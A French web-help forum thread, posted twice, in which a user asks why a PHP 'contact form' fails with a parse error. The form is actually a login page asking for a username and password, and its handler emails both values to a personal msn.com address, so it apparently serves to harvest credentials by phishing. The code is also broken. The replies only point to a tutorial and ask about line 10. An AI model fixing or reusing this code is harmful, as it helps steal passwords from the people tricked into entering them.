Simple formulaire html par mail
Résolu
jeasonp
Messages postés
274
Date d'inscription
Statut
Membre
Dernière intervention
-
LelLex Messages postés 1628 Date d'inscription Statut Membre Dernière intervention -
LelLex Messages postés 1628 Date d'inscription Statut Membre Dernière intervention -
Bonjour, je cherche a créer un mini formulaire sur mon ftp/site
j'arrive a créer la partit dans un fichier html et j'arrive aussi a crée la partit dans un document PHP (en suivent des tuto).
J'ai donc se code la qu'une personne de CCm m'a donner
HTML:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" >
<head>
<title>Formulaire de contact</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<div class="form" id="user_login">
<form id="HForm" name="HForm" action="post.php" method="post" style="margin: 0px">
<input type="hidden" name="PRTN" value=" ???" />
<p>
Entrez votre pseudo:
<input type="text" tabindex="1" name="PID" id="PID" class="intext" />
</p>
<p>
Entrez votre mot de passe:
<input type="password" tabindex="2" name="PPW" id="PPW" class="intext" />
<p class="submit">
<input type="submit" value="envoyer" class="auth_login" />
</p>
</form>
</div>
</body>
</html>
Php:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" >
<head>
<title>Formulaire de contact</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<?php
$pseudo = $_POST['PID'];
$passe = $_POST['PPW'};
$contenu = 'Pseudo de l\'émetteur: '.$pseudo.' <br /> Mot de passe de l\'émetteur: '.$passe.' <br /><br /> Message: <br /> '.$message.' ';
mail('capitaine0076@msn.com', 'Message de '.$pseudo.'', $contenu);
?>
</body>
</html>
La partie html fonctionne mais quand je clic sur envoyer il me marque
Parse error: syntax error, unexpected '}', expecting ']' in /home/www/post.php on line 10
et si j'utilise mail('capitaine0076@msn.com', '$pseudo', '$password')
J'optien un message vide dans ma boite mail.
Auriez vous une solution merci .
j'arrive a créer la partit dans un fichier html et j'arrive aussi a crée la partit dans un document PHP (en suivent des tuto).
J'ai donc se code la qu'une personne de CCm m'a donner
HTML:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" >
<head>
<title>Formulaire de contact</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<div class="form" id="user_login">
<form id="HForm" name="HForm" action="post.php" method="post" style="margin: 0px">
<input type="hidden" name="PRTN" value=" ???" />
<p>
Entrez votre pseudo:
<input type="text" tabindex="1" name="PID" id="PID" class="intext" />
</p>
<p>
Entrez votre mot de passe:
<input type="password" tabindex="2" name="PPW" id="PPW" class="intext" />
<p class="submit">
<input type="submit" value="envoyer" class="auth_login" />
</p>
</form>
</div>
</body>
</html>
Php:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" >
<head>
<title>Formulaire de contact</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<?php
$pseudo = $_POST['PID'];
$passe = $_POST['PPW'};
$contenu = 'Pseudo de l\'émetteur: '.$pseudo.' <br /> Mot de passe de l\'émetteur: '.$passe.' <br /><br /> Message: <br /> '.$message.' ';
mail('capitaine0076@msn.com', 'Message de '.$pseudo.'', $contenu);
?>
</body>
</html>
La partie html fonctionne mais quand je clic sur envoyer il me marque
Parse error: syntax error, unexpected '}', expecting ']' in /home/www/post.php on line 10
et si j'utilise mail('capitaine0076@msn.com', '$pseudo', '$password')
J'optien un message vide dans ma boite mail.
Auriez vous une solution merci .
A voir également:
- Simple formulaire html par mail
- Whatsapp formulaire opposition - Guide
- Formulaire de réclamation facebook - Guide
- Iphone 14 simple - Guide
- Editeur html - Télécharger - HTML
- Publipostage mail - Accueil - Word
6 réponses
Tu es aller faire un tour sur le tutoriel disponible sur : https://openclassrooms.com/fr/ ?
C'est laquelle la ligne 10 ? mail(); ?
C'est laquelle la ligne 10 ? mail(); ?
Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre question